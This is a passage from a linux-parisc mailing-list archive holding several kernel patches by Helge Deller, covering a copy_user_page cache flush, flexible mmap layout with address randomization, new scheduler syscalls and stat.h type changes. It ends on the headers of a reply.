 #define clear_user_page(vto, vaddr, page) clear_page_asm(vto)
-#define copy_user_page(vto, vfrom, vaddr, page) copy_page_asm(vto, vfrom)
+void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
+			struct page *pg);
 
 /* #define CONFIG_PARISC_TMPALIAS */
 
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index a725455..ac87a40 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -388,6 +388,20 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
+	struct page *pg)
+{
+       /* Copy using kernel mapping.  No coherency is needed (all in
+	  kunmap) for the `to' page.  However, the `from' page needs to
+	  be flushed through a mapping equivalent to the user mapping
+	  before it can be accessed through the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
+}
+EXPORT_SYMBOL(copy_user_page);
+
 void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 {
 	unsigned long flags;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add flexible mmap memory layout support
Date: Fri, 31 Jan 2014 22:19:52 +0100
Lines: 424
Approved: news@gmane.org
Message-ID: <20140131211952.GA11069@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391203194 7000 80.91.229.3 (31 Jan 2014 21:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 21:19:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 31 22:20:02 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9LVJ-0001hw-96
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Jan 2014 22:20:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932325AbaAaVT7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 16:19:59 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:54625 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754151AbaAaVT4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 16:19:56 -0500
Original-Received: from p100.box ([84.173.44.69]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MEGIi-1W2luc1D4K-00FRZf for
 <linux-parisc@vger.kernel.org>; Fri, 31 Jan 2014 22:19:55 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:Vids6gZcknjbbYHt6bUMVP7ue+5qBUXkyYfe28+OL6DkFPAERa+
 i6I90//e3aXcOqeBnn0fEELLkRBxigA6gh92JHCagG0IH45jSN/2hFUY13um8dZ+WsXi373
 b1KKyd7txytFNvoqwoei1r3ka3KBAic8V+RD4mXBlkYUaM41RHvblOaP0gVTVvgUe9awcty
 xLv5wvfn6D5z1L/FS5y8w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5674
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5674>

Add support for the flexible mmap memory layout (as described in
http://lwn.net/Articles/91829). This is especially very interesting on
parisc since we currently only support 32bit userspace (even with a
64bit Linux kernel).

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index ad2b503..369f237 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,4 +348,11 @@ struct pt_regs;	/* forward declaration... */
 
 #define ELF_HWCAP	0
 
+/* Stack randomization: 1GB for 64bit, 8MB for 32bit */
+#define STACK_RND_MASK (is_32bit_task() ? 0x7ff : 0x3fffff)
+
+struct mm_struct;
+extern unsigned long arch_randomize_brk(struct mm_struct *);
+#define arch_randomize_brk arch_randomize_brk
+
 #endif
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 34899b5..22b89d1 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -511,6 +511,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 /* We provide our own get_unmapped_area to provide cache coherency */
 
 #define HAVE_ARCH_UNMAPPED_AREA
+#define HAVE_ARCH_UNMAPPED_AREA_TOPDOWN
 
 #define __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 #define __HAVE_ARCH_PTEP_GET_AND_CLEAR
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a..198a86f 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -30,6 +30,8 @@
 #endif
 #define current_text_addr() ({ void *pc; current_ia(pc); pc; })
 
+#define HAVE_ARCH_PICK_MMAP_LAYOUT
+
 #define TASK_SIZE_OF(tsk)       ((tsk)->thread.task_size)
 #define TASK_SIZE	        TASK_SIZE_OF(current)
 #define TASK_UNMAPPED_BASE      (current->thread.map_base)
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index d5f97ea..4b9b10c 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -76,6 +76,16 @@ struct thread_info {
 #define _TIF_SYSCALL_TRACE_MASK (_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP |	\
 				 _TIF_BLOCKSTEP | _TIF_SYSCALL_AUDIT)
 
+#ifdef CONFIG_64BIT
+# ifdef CONFIG_COMPAT
+#  define is_32bit_task()	(test_thread_flag(TIF_32BIT))
+# else
+#  define is_32bit_task()	(0)
+# endif
+#else
+# define is_32bit_task()	(1)
+#endif
+
 #endif /* __KERNEL__ */
 
 #endif /* _ASM_PARISC_THREAD_INFO_H */
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 55f92b6..0bbbf0d 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -13,7 +13,7 @@
  *    Copyright (C) 2000 Grant Grundler <grundler with parisc-linux.org>
  *    Copyright (C) 2001 Alan Modra <amodra at parisc-linux.org>
  *    Copyright (C) 2001-2002 Ryan Bradetich <rbrad at parisc-linux.org>
- *    Copyright (C) 2001-2007 Helge Deller <deller at parisc-linux.org>
+ *    Copyright (C) 2001-2014 Helge Deller <deller@gmx.de>
  *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
  *
  *
@@ -49,6 +49,7 @@
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
 #include <linux/rcupdate.h>
+#include <linux/random.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -286,3 +287,21 @@ void *dereference_function_descriptor(void *ptr)
 	return ptr;
 }
 #endif
+
+static inline unsigned long brk_rnd(void)
+{
+	/* 8MB for 32bit, 1GB for 64bit */
+	if (is_32bit_task())
+		return (get_random_int() & 0x7ffUL) << PAGE_SHIFT;
+	else
+		return (get_random_int() & 0x3ffffUL) << PAGE_SHIFT;
+}
+
+unsigned long arch_randomize_brk(struct mm_struct *mm)
+{
+	unsigned long ret = PAGE_ALIGN(mm->brk + brk_rnd());
+
+	if (ret < mm->brk)
+		return mm->brk;
+	return ret;
+}
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 0d3a9d4..b7cadc4 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -5,6 +5,7 @@
  *    Copyright (C) 1999-2003 Matthew Wilcox <willy at parisc-linux.org>
  *    Copyright (C) 2000-2003 Paul Bame <bame at parisc-linux.org>
  *    Copyright (C) 2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
+ *    Copyright (C) 1999-2014 Helge Deller <deller@gmx.de>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -23,6 +24,7 @@
  */
 
 #include <asm/uaccess.h>
+#include <asm/elf.h>
 #include <linux/file.h>
 #include <linux/fs.h>
 #include <linux/linkage.h>
@@ -32,78 +34,230 @@
 #include <linux/syscalls.h>
 #include <linux/utsname.h>
 #include <linux/personality.h>
+#include <linux/random.h>
 
-static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
+/* we construct an artificial offset for the mapping based on the physical
+ * address of the kernel mapping variable */
+#define GET_LAST_MMAP(filp)		\
+	(filp ? ((unsigned long) filp->f_mapping) >> 8 : 0UL)
+#define SET_LAST_MMAP(filp, val)	\
+	 { /* nothing */ }
+
+static int get_offset(unsigned int last_mmap)
 {
-	struct vm_unmapped_area_info info;
+	return (last_mmap & (SHMLBA-1)) >> PAGE_SHIFT;
+}
 
-	info.flags = 0;
-	info.length = len;
-	info.low_limit = PAGE_ALIGN(addr);
-	info.high_limit = TASK_SIZE;
-	info.align_mask = 0;
-	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+static unsigned long shared_align_offset(unsigned int last_mmap,
+					 unsigned long pgoff)
+{
+	return (get_offset(last_mmap) + pgoff) << PAGE_SHIFT;
 }
 
-/*
- * We need to know the offset to use.  Old scheme was to look for
- * existing mapping and use the same offset.  New scheme is to use the
- * address of the kernel data structure as the seed for the offset.
- * We'll see how that works...
- *
- * The mapping is cacheline aligned, so there's no information in the bottom
- * few bits of the address.  We're looking for 10 bits (4MB / 4k), so let's
- * drop the bottom 8 bits and use bits 8-17.  
- */
-static int get_offset(struct address_space *mapping)
+static inline unsigned long COLOR_ALIGN(unsigned long addr,
+			 unsigned int last_mmap, unsigned long pgoff)
 {
-	return (unsigned long) mapping >> 8;
+	unsigned long base = (addr+SHMLBA-1) & ~(SHMLBA-1);
+	unsigned long off  = (SHMLBA-1) &
+		(shared_align_offset(last_mmap, pgoff) << PAGE_SHIFT);
+
+	return base + off;
 }
 
-static unsigned long shared_align_offset(struct file *filp, unsigned long pgoff)
+/*
+ * Top of mmap area (just below the process stack).
+ */
+
+static unsigned long mmap_upper_limit(void)
 {
-	struct address_space *mapping = filp ? filp->f_mapping : NULL;
+	unsigned long stack_base;
 
-	return (get_offset(mapping) + pgoff) << PAGE_SHIFT;
+	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	stack_base = rlimit_max(RLIMIT_STACK);
+	if (stack_base > (1 << 30))
+		stack_base = 1 << 30;
+
+	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
 
-static unsigned long get_shared_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff)
+
+unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
+		unsigned long len, unsigned long pgoff, unsigned long flags)
 {
+	struct mm_struct *mm = current->mm;
+	struct vm_area_struct *vma;
+	unsigned long task_size = TASK_SIZE;
+	int do_color_align, last_mmap;
 	struct vm_unmapped_area_info info;
 
+	if (len > task_size)
+		return -ENOMEM;
+
+	do_color_align = 0;
+	if (filp || (flags & MAP_SHARED))
+		do_color_align = 1;
+	last_mmap = GET_LAST_MMAP(filp);
+
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) && last_mmap &&
+		    (addr - shared_align_offset(last_mmap, pgoff))
+				& (SHMLBA - 1))
+			return -EINVAL;
+		goto found_addr;
+	}
+
+	if (addr) {
+		if (do_color_align && last_mmap)
+			addr = COLOR_ALIGN(addr, last_mmap, pgoff);
+		else
+			addr = PAGE_ALIGN(addr);
+
+		vma = find_vma(mm, addr);
+		if (task_size - len >= addr &&
+		    (!vma || addr + len <= vma->vm_start))
+			goto found_addr;
+	}
+
 	info.flags = 0;
 	info.length = len;
-	info.low_limit = PAGE_ALIGN(addr);
-	info.high_limit = TASK_SIZE;
-	info.align_mask = PAGE_MASK & (SHMLBA - 1);
-	info.align_offset = shared_align_offset(filp, pgoff);
-	return vm_unmapped_area(&info);
+	info.low_limit = mm->mmap_legacy_base;
+	info.high_limit = mmap_upper_limit();
+	info.align_mask = last_mmap ? (PAGE_MASK & (SHMLBA - 1)) : 0;
+	info.align_offset = shared_align_offset(last_mmap, pgoff);
+	addr = vm_unmapped_area(&info);
+
+found_addr:
+	if (do_color_align && !last_mmap && !(addr & ~PAGE_MASK))
+		SET_LAST_MMAP(filp, addr - (pgoff << PAGE_SHIFT));
+
+	return addr;
 }
 
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long
+arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
+			  const unsigned long len, const unsigned long pgoff,
+			  const unsigned long flags)
 {
+	struct vm_area_struct *vma;
+	struct mm_struct *mm = current->mm;
+	unsigned long addr = addr0;
+	int do_color_align, last_mmap;
+	struct vm_unmapped_area_info info;
+
+#ifdef CONFIG_64BIT
+	/* This should only ever run for 32-bit processes.  */
+	BUG_ON(!test_thread_flag(TIF_32BIT));
+#endif
+
+	/* requested length too big for entire address space */
 	if (len > TASK_SIZE)
 		return -ENOMEM;
+
+	do_color_align = 0;
+	if (filp || (flags & MAP_SHARED))
+		do_color_align = 1;
+	last_mmap = GET_LAST_MMAP(filp);
+
 	if (flags & MAP_FIXED) {
-		if ((flags & MAP_SHARED) &&
-		    (addr - shared_align_offset(filp, pgoff)) & (SHMLBA - 1))
+		if ((flags & MAP_SHARED) && last_mmap &&
+		    (addr - shared_align_offset(last_mmap, pgoff))
+			& (SHMLBA - 1))
 			return -EINVAL;
-		return addr;
+		goto found_addr;
 	}
-	if (!addr)
-		addr = TASK_UNMAPPED_BASE;
 
-	if (filp || (flags & MAP_SHARED))
-		addr = get_shared_area(filp, addr, len, pgoff);
-	else
-		addr = get_unshared_area(addr, len);
+	/* requesting a specific address */
+	if (addr) {
+		if (do_color_align && last_mmap)
+			addr = COLOR_ALIGN(addr, last_mmap, pgoff);
+		else
+			addr = PAGE_ALIGN(addr);
+		vma = find_vma(mm, addr);
+		if (TASK_SIZE - len >= addr &&
+		    (!vma || addr + len <= vma->vm_start))
+			goto found_addr;
+	}
+
+	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
+	info.length = len;
+	info.low_limit = PAGE_SIZE;
+	info.high_limit = mm->mmap_base;
+	info.align_mask = last_mmap ? (PAGE_MASK & (SHMLBA - 1)) : 0;
+	info.align_offset = shared_align_offset(last_mmap, pgoff);
+	addr = vm_unmapped_area(&info);
+	if (!(addr & ~PAGE_MASK))
+		goto found_addr;
+	VM_BUG_ON(addr != -ENOMEM);
+
+	/*
+	 * A failed mmap() very likely causes application failure,
+	 * so fall back to the bottom-up function here. This scenario
+	 * can happen with large stack limits and large mmap()
+	 * allocations.
+	 */
+	return arch_get_unmapped_area(filp, addr0, len, pgoff, flags);
+
+found_addr:
+	if (do_color_align && !last_mmap && !(addr & ~PAGE_MASK))
+		SET_LAST_MMAP(filp, addr - (pgoff << PAGE_SHIFT));
 
 	return addr;
 }
 
+static int mmap_is_legacy(void)
+{
+	if (current->personality & ADDR_COMPAT_LAYOUT)
+		return 1;
+
+	/* parisc stack always grows up - so a unlimited stack should
+	 * not be an indicator to use the legacy memory layout.
+	 * if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
+	 *	return 1;
+	 */
+
+	return sysctl_legacy_va_layout;
+}
+
+static unsigned long mmap_rnd(void)
+{
+	unsigned long rnd = 0;
+
+	/*
+	*  8 bits of randomness in 32bit mmaps, 20 address space bits
+	* 28 bits of randomness in 64bit mmaps, 40 address space bits
+	*/
+	if (current->flags & PF_RANDOMIZE) {
+		if (is_32bit_task())
+			rnd = get_random_int() % (1<<8);
+		else
+			rnd = get_random_int() % (1<<28);
+	}
+	return rnd << PAGE_SHIFT;
+}
+
+static unsigned long mmap_legacy_base(void)
+{
+	return TASK_UNMAPPED_BASE + mmap_rnd();
+}
+
+/*
+ * This function, called very early during the creation of a new
+ * process VM image, sets up which VM layout function to use:
+ */
+void arch_pick_mmap_layout(struct mm_struct *mm)
+{
+	mm->mmap_legacy_base = mmap_legacy_base();
+	mm->mmap_base = mmap_upper_limit();
+
+	if (mmap_is_legacy()) {
+		mm->mmap_base = mm->mmap_legacy_base;
+		mm->get_unmapped_area = arch_get_unmapped_area;
+	} else {
+		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
+	}
+}
+
+
 asmlinkage unsigned long sys_mmap2(unsigned long addr, unsigned long len,
 	unsigned long prot, unsigned long flags, unsigned long fd,
 	unsigned long pgoff)
diff --git a/fs/exec.c b/fs/exec.c
index e1529b4..a648162 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -659,6 +659,9 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	if (stack_base > (1 << 30))
 		stack_base = 1 << 30;
 
+	/* add some more stack size for stack randomization */
+	stack_base += STACK_RND_MASK + 1;
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: wire up sched_setattr and sched_getattr
Date: Fri, 31 Jan 2014 22:29:17 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20140131212917.GA15208@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391203756 13704 80.91.229.3 (31 Jan 2014 21:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 21:29:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 31 22:29:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9LeL-0006ur-La
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Jan 2014 22:29:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932325AbaAaV3V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 16:29:21 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:59173 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932271AbaAaV3U (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 16:29:20 -0500
Original-Received: from p100.box ([84.173.44.69]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MOx4J-1WDS7V2jMV-006KAO for
 <linux-parisc@vger.kernel.org>; Fri, 31 Jan 2014 22:29:19 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:ofaQA0lq33DS4oTVrMIQTSkTHgQGSsLd6YJIzGvsEHzcmoNTcwO
 0nWdD8oX5X+ZWMUWF7+qb5D+N7jMUKFIR5t4bv/zg24vRp8ZZ7M44XlOHzDASk4p9T5tCGw
 EiZkMK5KpR6sAkHBRQv0p/QYF2WEebr0eGtg8oEHUaaV4GYB782A3AUN+FNaZ9D0whXRPUT
 2uLoLyoHae83u1iJ6GIgg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5675>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 2c8b9bd..4270679 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -826,8 +826,10 @@
 #define __NR_process_vm_writev	(__NR_Linux + 331)
 #define __NR_kcmp		(__NR_Linux + 332)
 #define __NR_finit_module	(__NR_Linux + 333)
+#define __NR_sched_setattr	(__NR_Linux + 334)
+#define __NR_sched_getattr	(__NR_Linux + 335)
 
-#define __NR_Linux_syscalls	(__NR_finit_module + 1)
+#define __NR_Linux_syscalls	(__NR_sched_getattr + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 0c91072..8fa3fbb 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -429,6 +429,8 @@
 	ENTRY_COMP(process_vm_writev)
 	ENTRY_SAME(kcmp)
 	ENTRY_SAME(finit_module)
+	ENTRY_SAME(sched_setattr)
+	ENTRY_SAME(sched_getattr)	/* 335 */
 
 	/* Nothing yet */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: convert uapi/asm/stat.h to use native types only
Date: Fri, 31 Jan 2014 23:00:38 +0100
Lines: 103
Approved: news@gmane.org
Message-ID: <20140131220038.GA15809@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391205638 3160 80.91.229.3 (31 Jan 2014 22:00:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 22:00:38 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 31 23:00:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9M8h-0001et-VN
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 Jan 2014 23:00:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754163AbaAaWAn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 17:00:43 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:50806 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754159AbaAaWAm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 17:00:42 -0500
Original-Received: from p100.box ([84.173.44.69]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MFdDB-1W48xJ0WZx-00EbXf for
 <linux-parisc@vger.kernel.org>; Fri, 31 Jan 2014 23:00:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:FVHWoNh7vYld24owckXMgPh+5YltCwWmFuktV0kIwnpQudjSeYJ
 L06Nk+YjsA5GTR0yI7Sai3tJ4QXXQfqzK+Sn92TzRUiYbZp+1C732n8VJESgWEHjTjWPupa
 6q9yDIwC/LBznjWu4QVvMU55cwtEUS51vlyjinGxN4ZAWz7tZht+g8lxhI6ok54eYa6ExuY
 fcCnZhKcWYKIIysppkpLg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5676
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5676>

The stat.h header file is exported to userspace. Some userspace
applications failed to compile due to missing/unknown types, so we
better convert it to use native types only (like it's done on other
architectures too).

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/stat.h b/arch/parisc/include/uapi/asm/stat.h
index d76fbda..b606b36 100644
--- a/arch/parisc/include/uapi/asm/stat.h
+++ b/arch/parisc/include/uapi/asm/stat.h
@@ -5,67 +5,65 @@
 
 struct stat {
 	unsigned int	st_dev;		/* dev_t is 32 bits on parisc */
-	ino_t		st_ino;		/* 32 bits */
-	mode_t		st_mode;	/* 16 bits */
+	unsigned int	st_ino;		/* 32 bits */
+	unsigned short	st_mode;	/* 16 bits */
 	unsigned short	st_nlink;	/* 16 bits */
 	unsigned short	st_reserved1;	/* old st_uid */
 	unsigned short	st_reserved2;	/* old st_gid */
 	unsigned int	st_rdev;
-	off_t		st_size;
-	time_t		st_atime;
+	signed int	st_size;
+	signed int	st_atime;
 	unsigned int	st_atime_nsec;
-	time_t		st_mtime;
+	signed int	st_mtime;
 	unsigned int	st_mtime_nsec;
-	time_t		st_ctime;
+	signed int	st_ctime;
 	unsigned int	st_ctime_nsec;
 	int		st_blksize;
 	int		st_blocks;
 	unsigned int	__unused1;	/* ACL stuff */
 	unsigned int	__unused2;	/* network */
-	ino_t		__unused3;	/* network */
+	unsigned int	__unused3;	/* network */
 	unsigned int	__unused4;	/* cnodes */
 	unsigned short	__unused5;	/* netsite */
 	short		st_fstype;
 	unsigned int	st_realdev;
 	unsigned short	st_basemode;
 	unsigned short	st_spareshort;
-	uid_t		st_uid;
-	gid_t		st_gid;
+	unsigned int	st_uid;
+	unsigned int	st_gid;
 	unsigned int	st_spare4[3];
 };
 
 #define STAT_HAVE_NSEC
 
-typedef __kernel_off64_t	off64_t;
-
 struct hpux_stat64 {
 	unsigned int	st_dev;		/* dev_t is 32 bits on parisc */
-	ino_t           st_ino;         /* 32 bits */
-	mode_t		st_mode;	/* 16 bits */
+	unsigned int	st_ino;         /* 32 bits */
+	unsigned short	st_mode;	/* 16 bits */
 	unsigned short	st_nlink;	/* 16 bits */
 	unsigned short	st_reserved1;	/* old st_uid */
 	unsigned short	st_reserved2;	/* old st_gid */
 	unsigned int	st_rdev;
-	off64_t		st_size;
-	time_t		st_atime;
+	signed long long st_size;
+	signed int	st_atime;
 	unsigned int	st_spare1;
-	time_t		st_mtime;
+	signed int	st_mtime;
 	unsigned int	st_spare2;
-	time_t		st_ctime;
+	signed int	st_ctime;
 	unsigned int	st_spare3;
 	int		st_blksize;
-	__u64		st_blocks;
+	unsigned long long st_blocks;
 	unsigned int	__unused1;	/* ACL stuff */
 	unsigned int	__unused2;	/* network */
-	ino_t           __unused3;      /* network */
+	unsigned int	__unused3;      /* network */
 	unsigned int	__unused4;	/* cnodes */
 	unsigned short	__unused5;	/* netsite */
 	short		st_fstype;
 	unsigned int	st_realdev;
 	unsigned short	st_basemode;
 	unsigned short	st_spareshort;
-	uid_t		st_uid;
-	gid_t		st_gid;
+	unsigned int	st_uid;
+	unsigned int	st_gid;
 	unsigned int	st_spare4[3];
 };
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 31 Jan 2014 18:16:34 -0500
Organization: wh0rd.org
Lines: 100
Approved: news@gmane.org
Message-ID: <7911201.yPtbiLNu8K@vapier>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be> <52EBD4F1.3020704@gmx.de> <CAE2sS1jkGKLYFG_Wv560POhd9nvY4yA0o3M9KRi4HFz5DCd9-A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
